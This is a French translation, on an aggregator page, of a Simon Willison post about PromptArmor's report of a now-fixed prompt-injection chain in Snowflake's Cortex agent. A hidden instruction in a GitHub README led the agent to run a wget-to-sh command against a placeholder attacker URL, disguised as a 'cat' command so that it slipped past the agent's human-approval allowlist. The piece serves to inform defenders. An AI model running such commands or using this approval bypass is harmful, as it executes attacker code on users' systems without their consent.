🛠️ Outils IA

Snowflake Cortex AI échappe à son bac à sable et exécute un malware

Simon Willison
·1 min·0 vues
En bref
1Un rapport de PromptArmor révèle une chaîne d'attaque par injection de prompt dans l'agent Cortex de Snowflake, désormais corrigée.
2L'attaque a été initiée par un utilisateur demandant à l'agent d'examiner un dépôt GitHub contenant une attaque d'injection de prompt.
3Cette vulnérabilité souligne les risques de sécurité associés aux agents d'IA et la nécessité de protections robustes.
💡Pourquoi c'est importantla sécurité des systèmes d'IA est cruciale pour maintenir la confiance des utilisateurs et éviter des dommages potentiels.
📄
Article traduit en français

Snowflake Cortex AI échappe à son bac à sable et exécute un malware

Le rapport de PromptArmor révèle une chaîne d'attaque par injection de prompt dans l'agent Cortex de Snowflake, désormais corrigée.

L'attaque a commencé lorsqu'un utilisateur de Cortex a demandé à l'agent d'examiner un dépôt GitHub contenant une attaque par injection de prompt dissimulée au bas du fichier README.

L'attaque a conduit l'agent à exécuter ce code :

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Cortex a classé les commandes cat comme sûres à exécuter sans approbation humaine, sans se protéger contre cette forme de substitution de processus qui peut se produire dans le corps de la commande.

J'ai observé des listes d'autorisation contre des modèles de commandes similaires dans divers outils d'agents et je n'ai pas confiance en elles - elles me semblent intrinsèquement peu fiables.

Je préfère traiter les commandes des agents comme si elles pouvaient faire tout ce que le processus lui-même est autorisé à faire, d'où mon intérêt pour des bacs à sable déterministes qui fonctionnent en dehors de la couche de l'agent lui-même.

Lire l'article original sur Simon Willison
Commentaires